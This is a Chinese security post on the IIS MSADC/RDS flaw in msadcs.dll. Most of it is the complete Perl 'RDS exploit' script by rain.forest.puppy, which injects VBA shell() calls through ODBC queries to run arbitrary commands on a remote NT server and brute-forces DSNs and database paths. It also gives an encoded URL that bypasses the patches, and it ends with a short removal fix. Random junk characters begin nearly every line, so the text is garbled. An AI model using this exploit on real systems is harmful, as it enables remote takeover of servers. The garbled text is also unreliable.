IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
9YS &RBJu MKq:=^ w 涉及程序:
7dhip Microsoft NT server
PJA%aRP,: qn}4PVn4 描述:
g]PmmK_L 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
k\8]fh)J\7 ln-+=jk 详细:
{x{e?c! 如果你没有时间读详细内容的话,就删除:
78&jaw*1A c:\Program Files\Common Files\System\Msadc\msadcs.dll
}SIUsh' 有关的安全问题就没有了。
h W\q @iWql*K;m 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
H(GWC[tv 4,"% 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
*^e06xc: 关于利用ODBC远程漏洞的描述,请参看:
^"WrE(3 0Ah'G http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm |dcRDOTe RwJ#G7S# 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
MA0}BJoW http://www.microsoft.com/security/bulletins/MS99-025faq.asp o,dO.isgh> Bj5_=oo+d 这里不再论述。
Y -%g5 M}2a/}4 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
gM~dPM| bBA
#o\[ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
eT* )r~ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
@}k5rcQ*/ MA1.I4dm ]f#1G$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
Loo48 c `C
/U7j #!perl
j#mo Vq #
7<;87t]] # MSADC/RDS 'usage' (aka exploit) script
fgcI55&jV{ #
<pJeiMo # by rain.forest.puppy
}{/3yXk[G #
YBb%D # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
R+
#(\ # beta test and find errors!
{+r0Nikx_ ?hu}wl) use Socket; use Getopt::Std;
*\ZK(/V getopts("e:vd:h:XR", \%args);
xV@/z5Tq 3.,O7 k7y print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
S?TyC";! l'TM^B)`c if (!defined $args{h} && !defined $args{R}) {
<d!_.f}v print qq~
qXC>DGy Usage: msadc.pl -h <host> { -d <delay> -X -v }
g*t(%;_m -h <host> = host you want to scan (ip or domain)
iv@ey-,< -d <seconds> = delay between calls, default 1 second
OtK=UtVI -X = dump Index Server path table, if available
VA{2a7] -v = verbose
cYHHCaCS -e = external dictionary file for step 5
xaiA2 CJ0{>? Or a -R will resume a command session
+
q@kRQY;n 4mNg(w=NF ~; exit;}
~Iw7Xq E2 &+]x $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
X;`XkOjk if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
7L68voC@U if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
>HMuh) if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
,FWC|uM" $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
AY3nQH
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
t*X
k'(v Xi vzhI4 if (!defined $args{R}){ $ret = &has_msadc;
3zi(|B[,? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
t0t" =(d L9L!V"So1k print "Please type the NT commandline you want to run (cmd /c assumed):\n"
&)Y26*(` . "cmd /c ";
HAa$pGb $in=<STDIN>; chomp $in;
]3UEju8$ $command="cmd /c " . $in ;
E2J.t`H !58j xh if (defined $args{R}) {&load; exit;}
qRy<W T#&tf^; print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
gG5@ KD6k &try_btcustmr;
*htv:Sr ,|RS]I>X print "\nStep 2: Trying to make our own DSN...";
aNn\URR &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
?8dd^iX/ ;.Dm?J0 print "\nStep 3: Trying known DSNs...";
o\ss &known_dsn;
s'/b&Idf8 |j3fS[.$ print "\nStep 4: Trying known .mdbs...";
k4WUfL d &known_mdb;
L{XNOf3 a
W1y0 if (defined $args{e}){
L#)F00/` print "\nStep 5: Trying dictionary of DSN names...";
u!wR &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9a4Xf%!F>z w'uI~t4 print "Sorry Charley...maybe next time?\n";
Ci{,e% exit;
GI:J9TS dS9L( & ##############################################################################
B5FRe'UC EtVRnI@ sub sendraw { # ripped and modded from whisker
M3>c?,O)J sleep($delay); # it's a DoS on the server! At least on mine...
]r6S|;: my ($pstr)=@_;
R`%C]uG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
DK-V3}`q} die("Socket problems\n");
e}V3dC^pU if(connect(S,pack "SnA4x8",2,80,$target)){
dw6U} select(S); $|=1;
NFDh!HUm print $pstr; my @in=<S>;
1$1s0yg select(STDOUT); close(S);
/"$A?}V return @in;
?"23X Ke } else { die("Can't connect...\n"); }}
+
Xc s<+b
E RnuM ##############################################################################
fyb:eO} h?UUd\RU) sub make_header { # make the HTTP request
T&@xgj|!) my $msadc=<<EOT
`|9NxF+ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ji'NR User-Agent: ACTIVEDATA
$_bhZnYp7 Host: $ip
/da5" Content-Length: $clen
?f}lYQzM Connection: Keep-Alive
x+1Cs$E; 7r,s+u. ADCClientVersion:01.06
^o;f~6#17 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
W+F{!dW kH&KE5 --!ADM!ROX!YOUR!WORLD!
8v eG^o Content-Type: application/x-varg
G:u-C<^' Content-Length: $reqlen
AHg:`Wjv- '!$g<= @ EOT
d46PAA{' ; $msadc=~s/\n/\r\n/g;
Ab|
tE5% return $msadc;}
ui_nvD: q#}#A@Rg ##############################################################################
heLWVI[so x d9+P sub make_req { # make the RDS request
-1~-uE.~4d my ($switch, $p1, $p2)=@_;
eN]AJ%Ig my $req=""; my $t1, $t2, $query, $dsn;
8 K7.; t1 OC(S"&D if ($switch==1){ # this is the btcustmr.mdb query
2;!,:bFb $query="Select * from Customers where City=" . make_shell();
k`#OXLR $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
gG^A6Ol%D $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
Zq,[se'nh" B;[ai?@c(_ elsif ($switch==2){ # this is general make table query
-eZ$wn![ $query="create table AZZ (B int, C varchar(10))";
]f%yeD $dsn="$p1";}
LYYz =gvZl (4;m*'X elsif ($switch==3){ # this is general exploit table query
(Nzup3j $query="select * from AZZ where C=" . make_shell();
y,D@[*~Xb $dsn="$p1";}
+0{$J\s ]VuB2L[D elsif ($switch==4){ # attempt to hork file info from index server
Nn`l+WA3 $query="select path from scope()";
pQ:7%+Om $dsn="Provider=MSIDXS;";}
%s|`1`c {=Z xF elsif ($switch==5){ # bad query
]6:|-x:m $query="select";
](^$5Am $dsn="$p1";}
PTt#Ixn, @e`%' $t1= make_unicode($query);
REEs}88);' $t2= make_unicode($dsn);
J(0E'o{ug $req = "\x02\x00\x03\x00";
D9hV`fA $req.= "\x08\x00" . pack ("S1", length($t1));
U,;a+z4\ $req.= "\x00\x00" . $t1 ;
wW.V>$q $req.= "\x08\x00" . pack ("S1", length($t2));
1=*QMEv1G
$req.= "\x00\x00" . $t2 ;
!06
!`LT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
%A]?5J)Bi return $req;}
E.ugr]) $oPx2sb ##############################################################################
//x^[fkNq) Z}b25) sub make_shell { # this makes the shell() statement
G)(vd0X1 return "'|shell(\"$command\")|'";}
D'Fj"&LK qdss(LZ ##############################################################################
O)2==_f\ .el&\Jt sub make_unicode { # quick little function to convert to unicode
()Tl\ my ($in)=@_; my $out;
pm)kocG for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Wqy\yS [ return $out;}
5c8tH= Ci?BJ, ##############################################################################
QsXy(w#F 4@qHS0$ sub rdo_success { # checks for RDO return success (this is kludge)
w<qn @f my (@in) = @_; my $base=content_start(@in);
[Dzd39aKr if($in[$base]=~/multipart\/mixed/){
t\\oGH return 1 if( $in[$base+10]=~/^\x09\x00/ );}
ZqONK^ return 0;}
PU& v{gn -@I+IKz ##############################################################################
2aDjt{7P u0o}rA sub make_dsn { # this makes a DSN for us
%z9lCTmy my @drives=("c","d","e","f");
z_;:6*l=: print "\nMaking DSN: ";
`rWT^E@p5m foreach $drive (@drives) {
pW
y+oZ print "$drive: ";
t9U-c5bR my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
M/d6I$~7z "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
?o>JX.Nl&7 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
l?f%2:}m $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
XCN^>ToD return 0 if $2 eq "404"; # not found/doesn't exist
D
,U#z if($2 eq "200") {
(=jztIZC foreach $line (@results) {
9"g!J|+ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(yr<B_Y'MY } return 0;}
t7P[^f15[ /QgU!:e ##############################################################################
EF8~rKO3 +o ;}* sub verify_exists {
oe4r_EkYwW my ($page)=@_;
#;+ABV my @results=sendraw("GET $page HTTP/1.0\n\n");
'5usPD return $results[0];}
Qm(KvL5 #M)SAe2 ##############################################################################
$2kZM4 ;YfKG8(0 sub try_btcustmr {
:`Z'vRj my @drives=("c","d","e","f");
4#MPD my @dirs=("winnt","winnt35","winnt351","win","windows");
='[J. lTR/o foreach $dir (@dirs) {
u)hr print "$dir -> "; # fun status so you can see progress
f[XsnN2 foreach $drive (@drives) {
[(O*W print "$drive: "; # ditto
r@30y/C $reqlen=length( make_req(1,$drive,$dir) ) - 28;
aAi" $reqlenlen=length( "$reqlen" );
U+4W9zhwo $clen= 206 + $reqlenlen + $reqlen;
bTd94 H\PY\O&cP my @results=sendraw(make_header() . make_req(1,$drive,$dir));
*7JsmN? if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
J
,s9,(" else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
-W\1n#J &{R]v/{p] ##############################################################################
(K74Qg ^&|KuI+u sub odbc_error {
c %f'rj my (@in)=@_; my $base;
o4U[;.?c my $base = content_start(@in);
e,X{.NS if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
4b@Awtk $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
O: J;zv\ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
tK0Ksnl^ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
'CfM'f3uu return $in[$base+4].$in[$base+5].$in[$base+6];}
`pJWZ:3 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
B/^1uPTZ71 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
Z/*X)mBuB $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
N
t-8[J !A|ayYBb\ ##############################################################################
%&81xAt 4e!>A sub verbose {
!iHJ! my ($in)=@_;
o-ee3j. return if !$verbose;
QcN$TxU > print STDOUT "\n$in\n";}
QqdVN3#1z *[ww; ##############################################################################
o_#F,gze)S 0kiV-yc sub save {
Ij_h #f my ($p1, $p2, $p3, $p4)=@_;
GEGg
S&SM open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Ir4M5OR\ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
U 6`E\?d` close OUT;}
B s {n Be4n\c. ##############################################################################
x 3C^ S~ |EpL~G_ sub load {
abczW[\ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
BK[ YX) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
9C"d7-- @p=<IN>; close(IN);
7.!`c-8
u $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+]*hzWbe $target= inet_aton($ip) || die("inet_aton problems");
vUD>+*D print "Resuming to $ip ...";
k0>]7t$L $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
6?uo6 I if($p[1]==1) {
lD]/Kx $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
<],~V\m $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
{{+woL'C my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
;p] f5R^ if (rdo_success(@results)){print "Success!\n";}
>VE!3' /' else { print "failed\n"; verbose(odbc_error(@results));}}
AZ'"Ua elsif ($p[1]==3){
VYAz0H1-_ if(run_query("$p[3]")){
QZO9CLX 8k print "Success!\n";} else { print "failed\n"; }}
92pl#Igt elsif ($p[1]==4){
,b!]gsds if(run_query($drvst . "$p[3]")){
F8En)# print "Success!\n"; } else { print "failed\n"; }}
47
|&(,{ exit;}
+=JJ=F) us2RW<Oxv ##############################################################################
4/+P7.}ea- v0uA]6: sub create_table {
z'rB_l my ($in)=@_;
`ZLA=oD $reqlen=length( make_req(2,$in,"") ) - 28;
dl; $reqlenlen=length( "$reqlen" );
T0F!0O ` $clen= 206 + $reqlenlen + $reqlen;
{T(z@0Xu my @results=sendraw(make_header() . make_req(2,$in,""));
0%OV3` return 1 if rdo_success(@results);
JQdeI+ my $temp= odbc_error(@results); verbose($temp);
okSCM#&:[2 return 1 if $temp=~/Table 'AZZ' already exists/;
jv5Os- return 0;}
i3usZ{_r w}:&+B: ##############################################################################
W:TF8Onw @`S8d%6P sub known_dsn {
m!H7;S-( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
#>[5NQ;$' my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
p(`?y:.3 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
2[e^mm&. "banner", "banners", "ads", "ADCDemo", "ADCTest");
YjTA+1} xZ.c@u6: foreach $dSn (@dsns) {
t^KoqJ print ".";
c.JMeh next if (!is_access("DSN=$dSn"));
ry[NR$L/m if(create_table("DSN=$dSn")){
P+s-{vv{0 print "$dSn successful\n";
$ri'tJ+ if(run_query("DSN=$dSn")){
dxwH C\"5 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jxdxIkAHZc print "Something's borked. Use verbose next time\n";}}} print "\n";}
0f]LOg u''~nSR3& ##############################################################################
k\wcj^"cb )<8f3;qd sub is_access {
A3cW8OClz my ($in)=@_;
^cz;UQX~} $reqlen=length( make_req(5,$in,"") ) - 28;
gsD0N^ $reqlenlen=length( "$reqlen" );
ye^l~ $clen= 206 + $reqlenlen + $reqlen;
j+-+<h/( my @results=sendraw(make_header() . make_req(5,$in,""));
tw?\bB my $temp= odbc_error(@results);
")?NCun> verbose($temp); return 1 if ($temp=~/Microsoft Access/);
LI/;`Y= return 0;}
f6O5k8n qTd6UKg ##############################################################################
7]&ouT 1}>u Y sub run_query {
%^VQw! my ($in)=@_;
{ kF"<W $reqlen=length( make_req(3,$in,"") ) - 28;
szG 0?e $reqlenlen=length( "$reqlen" );
fD:>cje $clen= 206 + $reqlenlen + $reqlen;
/'uFX, my @results=sendraw(make_header() . make_req(3,$in,""));
SPEDN}/^ return 1 if rdo_success(@results);
/N?vVp my $temp= odbc_error(@results); verbose($temp);
v<SCh)[-p return 0;}
tM&;b?bJ[ @b,&b6V ##############################################################################
wNt-mgir-Q Ei&
Z sub known_mdb {
IP
e"9xb my @drives=("c","d","e","f","g");
wg0hm#X my @dirs=("winnt","winnt35","winnt351","win","windows");
w\f>.N my $dir, $drive, $mdb;
WymBjDos: my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
YnLwBJ 2i !v`C-1}70 # this is sparse, because I don't know of many
6;^ e my @sysmdbs=( "\\catroot\\icatalog.mdb",
TP-<Lhy "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
BMlu>, "\\system32\\certmdb.mdb",
n"P29" "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
NIasce e hD I}V1) my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
.)Af&+KT "\\cfusion\\cfapps\\forums\\forums_.mdb",
( /): "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
(RtjD`e} "\\cfusion\\cfapps\\security\\realm_.mdb",
Y\pRk6, "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5lp}; "\\cfusion\\database\\cfexamples.mdb",
Z/hk)GI "\\cfusion\\database\\cfsnippets.mdb",
R]8^
@i1 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
7Rix=* "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;p U=> "\\cfusion\\brighttiger\\database\\cleam.mdb",
~~D
=Z# "\\cfusion\\database\\smpolicy.mdb",
Js("H "\\cfusion\\database\cypress.mdb",
;?`l1:C5) "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
3$hbb6N%6. "\\website\\cgi-win\\dbsample.mdb",
k=o>DaEh( "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
SFdSA4D" "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
fL7u419= ); #these are just
}G50?"^u foreach $drive (@drives) {
(K>=!&tlp= foreach $dir (@dirs){
.xIu foreach $mdb (@sysmdbs) {
oy?>e1Sy* print ".";
)rP)-op|A if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
FJj # print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
|loo^!I if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
x22:@Ot6 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
_/iw=-T } else { print "Something's borked. Use verbose next time\n"; }}}}}
>*"6zR2 o jj&4Sv#> foreach $drive (@drives) {
FID4@-- foreach $mdb (@mdbs) {
|>2IgTh1a print ".";
zLa3Q\T if(create_table($drv . $drive . $dir . $mdb)){
iH#b"h{w print "\n" . $drive . $dir . $mdb . " successful\n";
14,Pf`5Sz if(run_query($drv . $drive . $dir . $mdb)){
7KzMa%= print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
`AO<r } else { print "Something's borked. Use verbose next time\n"; }}}}
G',*"mZQ[ }
_\y%u_W ,*w ##############################################################################
BL&D|e QlFt:?7f sub hork_idx {
]XAJ|[]sj* print "\nAttempting to dump Index Server tables...\n";
(3;dtp>Xx print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
.}V&*-ep $reqlen=length( make_req(4,"","") ) - 28;
,%a7sk<5k $reqlenlen=length( "$reqlen" );
.;'3Roi $clen= 206 + $reqlenlen + $reqlen;
;C+g)BW my @results=sendraw2(make_header() . make_req(4,"",""));
X%>Sio if (rdo_success(@results)){
qK9\oB%s7 my $max=@results; my $c; my %d;
~^GY(J' for($c=19; $c<$max; $c++){
?(!<m'jEy $results[$c]=~s/\x00//g;
5r$X $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+z2+z $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
;Q0WCm\5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
yQXHEB $d{"$1$2"}="";}
RXj6L~vs5_ foreach $c (keys %d){ print "$c\n"; }
VZJ[h{ 6 } else {print "Index server doesn't seem to be installed.\n"; }}
^S'#)H-8C3 C;3>q*Am4 ##############################################################################
=CE(M},d fzVU9BU sub dsn_dict {
ZPISclSA+
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
\\WIu? while(<IN>){
i{$h]D_fD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
,z1fiq next if (!is_access("DSN=$dSn"));
DG&[.dR+ if(create_table("DSN=$dSn")){
JvZNr?_w% print "$dSn successful\n";
JrkjfoN if(run_query("DSN=$dSn")){
$m:4'r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
D<m+M@u print "Something's borked. Use verbose next time\n";}}}
D =Pv:)*] print "\n"; close(IN);}
a V4p0s6ZZ u*<G20~A ##############################################################################
L,XWX8 jb~/>I^1 sub sendraw2 { # ripped and modded from whisker
H$/r{gfg^ sleep($delay); # it's a DoS on the server! At least on mine...
h]#wwJF my ($pstr)=@_;
+gQn,HX socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
[uh$\s7 die("Socket problems\n");
| Ts0h?"a if(connect(S,pack "SnA4x8",2,80,$target)){
=7Wr print "Connected. Getting data";
g`skmHS89 open(OUT,">raw.out"); my @in;
V|h/a\P select(S); $|=1; print $pstr;
t1I` n(]n while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
+6xEz67A< close(OUT); select(STDOUT); close(S); return @in;
Pkm3&sW
} else { die("Can't connect...\n"); }}
`Xbk2KD p 2A+I8/zRG ##############################################################################
*1Lkde@|{ f8DF>]WW sub content_start { # this will take in the server headers
R tR5ij1 my (@in)=@_; my $c;
3xJ_%AD\' for ($c=1;$c<500;$c++) {
[,F5GW{x if($in[$c] =~/^\x0d\x0a/){
_Vs\:tygs if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Nz,8NM] else { return $c+1; }}}
+U%U3tAvs return -1;} # it should never get here actually
H@uCbT u,d@oF(= ##############################################################################
r] +V:l3 <V3N!H_d sub funky {
Z]I[?$y my (@in)=@_; my $error=odbc_error(@in);
t^=6czk if($error=~/ADO could not find the specified provider/){
}a(x
L'F print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Y2DR
oQ exit;}
NY5?T0/[ if($error=~/A Handler is required/){
#l(cBM9sz print "\nServer has custom handler filters (they most likely are patched)\n";
?5%|YsJP_ exit;}
{&'u1y R if($error=~/specified Handler has denied Access/){
6[h3pb/m print "\nServer has custom handler filters (they most likely are patched)\n";
P|[i{h exit;}}
T4\F=iw4 ^XV=(k;~bX ##############################################################################
1|L3} 2 9M)N2+hkZ sub has_msadc {
Fn8d;%C my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
);^]
is~ my $base=content_start(@results);
ugM,wT&~Y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
dz',!|> return 0;}
v@43%`"Gj ~$0Qvyb> ########################
0YsC@r47wL {-sy,EYcw >qJRpO 解决方案:
He4sP`&I 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
uLw$`ihw 2、移除web 目录: /msadc